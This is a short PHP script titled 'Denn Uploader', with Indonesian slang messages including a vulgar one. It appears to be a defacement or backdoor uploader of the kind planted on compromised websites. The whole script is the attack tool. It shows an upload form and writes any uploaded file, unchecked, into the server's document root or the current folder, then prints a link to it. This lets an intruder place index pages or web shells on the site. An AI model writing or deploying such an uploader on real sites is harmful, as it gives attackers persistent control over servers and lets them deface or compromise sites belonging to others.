Denn Uploader<title>Denn Uploader</title>

echo "

<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Gass Lah Kontol:v -> <a href='$web/$files' target='_blank'><u>$web/$files</u></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Akses File Nya : $files di folder ini";
} else {
echo "gagal upload Cok >:(";
}
}
}